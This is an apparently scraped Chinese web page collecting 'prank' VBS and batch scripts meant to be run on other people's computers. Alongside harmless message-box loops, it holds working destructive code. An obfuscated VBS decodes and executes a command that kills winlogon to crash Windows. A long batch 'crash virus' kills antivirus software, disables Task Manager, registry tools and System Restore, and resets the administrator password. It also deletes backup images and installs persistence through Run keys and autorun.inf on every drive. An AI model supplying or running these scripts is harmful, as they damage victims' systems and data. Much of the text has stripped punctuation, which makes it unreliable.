第一个 do msgbox "hi" loop 第二个 Set s = CreateObject("sapispvoice") i=0 do sspeak i i=i+1 loop 第三个 if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then msgbox " 系统将立刻重起wow ~_^",,"你上当了！！" Set objShell = CreateObject("WscriptShell") objShellRun "shutdown -s -t 5",,true end if 第四个 '这个很强悍的vbs,蓝屏 strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,- 23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,- 13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103 ,98,111,120,32,34,-15133,89,-13899,-20026,- 20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,- 14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,- 13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,- 24147,63,34,44,54,52,44,34,-11825,-10536,-16721,- 18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,1 01,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116, 46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115, 116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,1 03,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101 ,110,100,32,105,102,13,10,13,10,13,10) for i=1 to UBound(strs) runner=runner&chr(strs(i)) next Execute runner 第五个 if MsgBox("你是猪头吗？",vbYesNo,"提示")=vbyes then msgbox "你SB啊!" else msgbox "还不承认!! 作为惩罚，蓝屏一下，你马上挂了#￥！@#￥%@……#……",64,"严重警告!!!!!!!!!" Set ws = CreateObject("WscriptShell") wscriptsleep 1200 wsrun "cmd /c start /min ntsd -c q -pn winlogonexe 1>nul 2>nul",vbhide end if 第六个 Set ws = CreateObject("WscriptShell") wsrun "cmdexe /c call calcexe",0 第七个 set ws=CreateObject("WscriptShell") wsrun "cmdexe /c taskkill /f /im explorerexe",0 wscriptsleep 900 wsrun "cmdexe /c copy %windir%\explorerexe %windir%\explorerData" wscriptsleep 1200 wsrun "cmdexe /c del /q /f %windir%\explorerexe" 第八个 Set ws=WScriptCreateObject("WScriptShell") wspopup"大家好，我就是改变社会风气，风魔万千少女，刺激**市道，提高年轻人内涵，",10,"闪亮登场",64 wspopup"玉树临风，风度翩翩的……“咕噜…咕噜…”，不好意思，我内急先闪了，再见！",15,"farewell",64 wscriptsleep 100000 wspopup"发现重要windows更新未安装，系统将自动下载更新并安装",10 wspopup"正在下载windows更新……",12 wscriptsleep 10000 wspopup"windows更新已下载完毕，正在安装更新……",12 wscriptsleep 3000 msgbox"系统检测到WINDOWS更新中携带有不明软件 comcontrolerexe ，并在强行嵌入你的电脑",4132,"是否对其进行扫描？" msgbox"软件名：comcontrolerexe "&vbcrlf&""&vbcrlf&" 大小：121MB "&vbcrlf&""&vbcrlf&" 发行者：幻想丶永恒（403746401）"&vbcrlf&""&vbcrlf&" 安全状况：有病毒",vbinformation msgbox"comcontrolerexe存在不安全因素",4132,"是否阻止其安装" msgbox"阻止失败，请检查防火墙是否开启" wscriptsleep 15000 wspopup"windows更新安装成功！",vbinfmation,20 msgbox"您的电脑可能已被入侵，请尽快修改您的QQ密码及其他机密资料,以免QQ被盗或丢失资料",vbinformation wspopup"哈哈，我已经控制了你的电脑！",12,"很高兴见到你",64 wspopup"不信？我用你的电脑打开我的QQ空间给你看看",10 wsrun" >
@ color 1f
@echo off
title 最好别关本程序否则后果自负!
echo 你中招了!
echo 处理器异常!
ping 127001 /n 4 >nul
echo
echo 正在移除C盘……
echo
ping 127001 /n 4 >nul
echo 正在移除D盘……
echo
echo 正在移除E盘……
ping 127001 /n 4 >nul
echo F盘先给你留着吧!
echo
echo 我会那么善良吗
ping 127001 /n 4 >nul
echo 不会的……
echo
echo 呵呵开玩笑的!
ping 127001 /n 4 >nul
echo 正在恢复C盘……
echo
echo 正在恢复D盘……
ping 127001 /n 4 >nul
echo 正在恢复E盘……
echo
echo 正在恢复F盘……
ping 127001 /n 4 >nul
echo 请一直按住 Enter 键
taskkill /f /im 360trayexe
ping 127001 /n 4 >nul
echo 看你的磁盘好少，怪可怜的……
echo
ping 127001 /n 4 >nul
echo 给你加几个吧!
echo
ping 127001 /n 4 >nul
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:\)
start explorerexe
ping 127001 /n 4 >nul
echo 呵呵……
echo
ping 127001 /n 4 >nul
echo 给你两分钟时间，看看你的电脑!
echo
ping 127001 /n 120 >nul
echo 看过了吗，好玩的在后面!
echo
ping 127001 /n 120 >nul
echo 哈哈!
echo
@echo off
shutdown /s /t 120 /c "电脑马上就要关机!"
ping 127001 /n 15 >nul
shutdown -a
echo 你上当了,吓唬吓唬你!
ping 127001 /n 4 >nul
echo 正在一键重装中，请稍后……
echo
echo 001
ping 127001 /n 4 >nul
echo 013
ping 127001 /n 4 >nul
echo 025
ping 127001 /n 4 >nul
echo 049
ping 127001 /n 4 >nul
echo 069
ping 127001 /n 4 >nul
echo 089
ping 127001 /n 4 >nul
echo 099
ping 127001 /n 4 >nul
echo loading
ping 127001 /n 4 >nul
echo 重装已完成!
ping 127001 /n 4 >nul
echo 也是吓唬你的！
ping 127001 /n 10 >nul
echo 真正的游戏开始了……
taskkill /f /im explorerexe
shutdown /s /t 30 /c "系统关键文件被删除导致崩溃!系统将在30秒后关机"
ping 127001 /n 28 >nul
shutdown -a
echo 你上当了,吓唬吓唬你，现在恢复所有程序Loading
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)
start explorerexe
ping 127001 /n 4 >nul
echo 恢复已完成
ping 127001 /n 4 >nul
echo 我会那么善良吗
ping 127001 /n 4 >nul
echo 不会
ping 127001 /n 4 >nul
echo 逗你玩的!
ping 127001 /n 4 >nul
echo 会发生什么呢
ping 127001 /n 4 >nul
echo 什么都没发生
崩溃病毒脚本bat
[code]@echo off
title You DEAD!!!!!!!
set taskkill=s
copy %0 %windir%system32cmdbat
attrib %windir%system32cmdbat +r +s +h
net stop sharedaccess >nul
%s% /im pfwexe shadowtipexe shadowserviceexe qqexe explorerexe
IEXOLOREEXE /f >nul
%s% /im norton /f >nul
%s% /im av /f >nul
%s% /im fire /f >nul
%s% /im anti /f >nul
%s% /im spy /f >nul
%s% /im bullguard /f >nul
%s% /im PersFw /f >nul
%s% /im KAV /f >nul
%s% /im ZONEALARM /f >nul
%s% /im SAFEWEB /f >nul
%s% /im OUTPOST /f >nul
%s% /im nv /f >nul
%s% /im nav /f >nul
%s% /im F- /f >nul
%s% /im ESAFE /f >nul
%s% /im cle /f >nul
%s% /im BLACKICE /f >nul
%s% /im def /f >nul
%s% /im 360safeexe /f >nul
net stop Shadow" "System" "Service
set alldrive=d e f g h i j k l m n o p q r s t u v w x y z
for %%a in (c %alldrive%) do del %%a:360 /f /s /q >nul
for %%a in (c %alldrive%) do del %%a:修复 /f /s /q >nul
rem 修改注册表
REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionexplorer
AdvancedFolderHiddenSHOWALL /v
CheckedValue /t REG_DWORD /d 00000000 /f >nul
REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPolicies
Explorer /v NoRun /t REG_DWORD /d
00000001 /f >nul
REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPolicies
Explorer /v NoRecentDocsMenu /t
REG_DWORD /d 00000001 /f >nul
REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPolicies
Explorer /v NoDrives /t REG_DWORD /d
4294967295 /f >nul
REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPolicies
System /v Disableregistrytools /t
REG_DWORD /d 00000002 /f >nul
REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPolicies
Explorer /v NoNetHood /t REG_DWORD /d
00000001 /f >nul
REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPolicies
Explorer /V NoDesktop /t REG_DWORD /d
00000001 /f >nul
REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPolicies
Explorer /v NoClose /t REG_DWORD /d
00000001 /f >nul
REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPolicies
Explorer /v NoFind /t REG_DWORD /d
00000001 /f >nul
REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPolicies
System /v DisableTaskMgr /t REG_DWORD
/d 00000001 /f >nul
REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPolicies
Explorer /v NoLogOff /t REG_DWORD /d
00000001 /f >nul
REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPolicies
Explorer /v NoSetTaskBar /t REG_DWORD
/d 00000001 /f >nul
REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindows" "NTCurrentVersionSystemRestore
/v DisableSR /t REG_DWORD /d
00000001 /f >nul
REG ADD HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows" "NTSystemRestore
/v DisableConfig /t REG_DWORD /d
00000001 /f >nul
REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPolicies
Explorer /v RestrictRun /t REG_DWORD /d
00000001 /f >nul
cls
net user administrator 123456 >nul
for %%c in (c %alldrive%) do del %%c:gho /f /s /q >nul
echo @echo off >d:setupbat
echo shutdown -r -t 10 -f -c 亲爱的朋友，我十分抱歉的通知你，你的电脑已经严重崩溃，请重新
安装系统可以解决此问题
!^^ >>d:setupbat
echo copy d:setupbat c:Documents" "and" "SettingsAll" "Users「开始」菜单程序启动
abat >>d:setupbat
echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v
setupbat /t REG_SZ /d d:setupbat
/f >>d:setupbat
echo REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v
setupbat /t REG_SZ /d d:setupbat
/f >>d:setupbat
echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce /v
setupbat /t REG_SZ /d d:setupbat
/f >>d:setupbat
HKEY_CLASSES_ROOTbatfileshellopencommand /v setupbat /t REG_SZ /d d:setupbat /f
>>d:setupbat
echo [windows] >> %windir%winini
echo run=d:setupbat C:AUTOEXECBAT >> %windir%winini
echo load=d:setupbat C:AUTOEXECBAT >> %windir%winini
echo [boot] >> %windir%systemini
echo shell=explorerexe setupbat C:AUTOEXECBAT >> %windir%systemini
echo [AutoRun] >d:autoruninf
echo Open=setupbat >>d:autoruninf
echo Open=systembat >>d:autoruninf
attrib d:autoruninf +r +s +h >>d:setupbat
attrib d:setupbat +r +s +h >>d:setupbat
start d:setupbat /min >nul
echo @echo off >>C:AUTOEXECBAT
echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v
AUTOEXECBAT /t REG_SZ /d
C:AUTOEXECBAT /f >>C:AUTOEXECBAT
echo REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v
AUTOEXECBAT /t REG_SZ /d
C:AUTOEXECBAT /f >>C:AUTOEXECBAT
REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce /v
AUTOEXECBAT /t REG_SZ /d
C:AUTOEXECBAT /f >>C:AUTOEXECBAT
echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v
setupbat /t REG_SZ /d d:setupbat
/f >>C:AUTOEXECBAT
echo REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v
setupbat /t REG_SZ /d d:setupbat
/f >>C:AUTOEXECBAT
REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunOnce /v
setupbat /t REG_SZ /d d:setupbat
/f >>C:AUTOEXECBAT
echo if not d:setupbat start %windir%system32cmdbat /min >>C:AUTOEXECBAT
copy %0 %systemroot%windowsbat >nul
if not exist %windir%/system32/explorerbat @echo off >>%windir%/system32
/explorerbat
if not exist C:AUTOEXECBAT start %windir%system32cmdbat /min >>%
windir%/system32/explorerbat
if not exist %windir%system32cmdbat start %systemroot%windowsbat /min >>%
windir%/system32/explorerbat
echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v
AUTOEXECBAT /t REG_SZ /d
C:AUTOEXECBAT /f >>%windir%/system32/explorerbat
echo REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v
AUTOEXECBAT /t REG_SZ /d
C:AUTOEXECBAT /f >>%windir%/system32/explorerbat
echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v
setupbat /t REG_SZ /d d:setupbat
/f >>%windir%/system32/explorerbat
echo REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v
setupbat /t REG_SZ /d d:setupbat
/f >>%windir%/system32/explorerbat
echo REG ADD HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun /v
explorerbat /t REG_SZ /d %
windir%/system32/explorerbat/f >>%windir%/system32/explorerbat
echo REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun /v
explorerbat /t REG_SZ /d %
windir%/system32/explorerbat /f >>%windir%/system32/explorerbat
echo start %systemroot%windowsbat /min >>%windir%/system32/explorerbat
attrib %windir%/system32/explorerbat +r +s +h%
attrib %systemroot%/windowsbat +r +s +h
for %%c in (%alldrive%) do echo @echo off >>%%c:systembat
for %%c in (%alldrive%) do echo start %windir%system32cmdbat /min
>>%%c:systembat
for %%c in (%alldrive%) do echo attrib systembat +r +s +h >>%%c:systembat
set drive=e f g h i j k l m n o p q r s t u v w x y z
for %%c in (%drive%) do echo [AuroRun] >%%c:autoruninf
for %%c in (%drive%) do echo Open=systembat >>%%c:autoruninf
copy %0 d:Program" "Filesrunbat
for %%c in (%alldrive%) do echo if not exist %windir%/system32/explorerbat start
d:Program" "Filesrunbat /min
>>%%c:systembat
for %%c in (%alldrive%) do attrib autoruninf +r +s +h >>%%c:systembat
for %%c in (%alldrive%) do attrib %%c:autoruninf +r +s +h >nul
for %%c in (%alldrive%) do attrib %%c:systembat +r +s +h >nul
if not exist %windir%/system32/explorerbat start d:Program" "Filesrunbat
/min >>d:setupbat
attrib d:Program" "Filesrunbat +r +s +h >nul
del %0
exit
保存为xxxBAT
PC整蛊专家2009之一刻钟
此版本软件不会对计算机系统造成任何损害，
但对心脏身体不好的人士切勿使用。。。后果自负！
恐吓真实程度绝非一般,非普通恶搞产品所能比拟。
此软件启动几乎无声无息，唯一的提示是运行后会显示一次桌面表示运行成功。（类似于点击windows里的“显示桌面”图标的效果。如果没出现此效果，表示没有运行。可尝试再次点击运行。成功后切勿多次运行。。。）
提示：由于不是病毒，所以所有杀毒软件都不会报毒。但有些会主动截拦，说是恶意程序。。。
恐吓一共分5个部分：
启动后，一刻钟内计算机不会有任何异常。
1一刻钟过后电脑的光驱会不断d出，关闭，再d出再关闭，重复1分钟。。。
2计算机屏幕开始疯狂旋转25秒。
3将出现贞子影像并d出倒计时关机选择窗体15秒。
4不定时出现诡异的笑声和恐怖图像2小时。。。
5会突然出现在桌面女鬼。半夜关机后计算机会自动开机启动并发出凄惨的女鬼叫声，如果不清除将永久驻留在计算机内。
清除办法
运行 一刻钟恢复工具vbe
运行 驱散女鬼exe 点击清除
即可。
下载地址:
>
在记事本输入以下内容并保存为bat格式：放到启动项里，内容是“Shutdownexe
-s
-t
300
-c
"系统余额不足，请投币继续使用，否则重启！"”（解释：3分钟后关机，关机提示为“系统余额不足，请投币继续使用，否则重启！”，这样每次重启后3分钟就又自动重启了。哈哈）
用法:
shutdown
<-i
|
-l
|
-s
|
-r
|
-a>
<-f>
<-m
\computername>
<-t
xx>
<-c
"comment">
<-d
up:xx:yy>
没有参数
显示此消息
-i
显示
GUI
界面，必须是第一个选项
-l
注销(不能与选项
-m
一起使用)
-s
关闭此计算机
-r
关闭并重启动此计算机
-a
放弃系统关机
-m
\computername
远程计算机关机/重启动/放弃
-t
xx
设置关闭的超时为
xx
秒
-c
"消息内容"
输入关机对话框中的消息内容(不能超127个字符)
-f
强制运行的应用程序关闭而没有警告
关闭计算机
shutdown
–s
以上就是关于求大量VBS整人代码.全部的内容，包括:求大量VBS整人代码.、求一堆vb整人程序的代码、bat整人代码等相关内容解答，如果想了解更多相关内容，可以关注我们，你们的支持是我们更新的动力！
欢迎分享，转载请注明来源：内存溢出
微信扫一扫
支付宝扫一扫
评论列表（0条）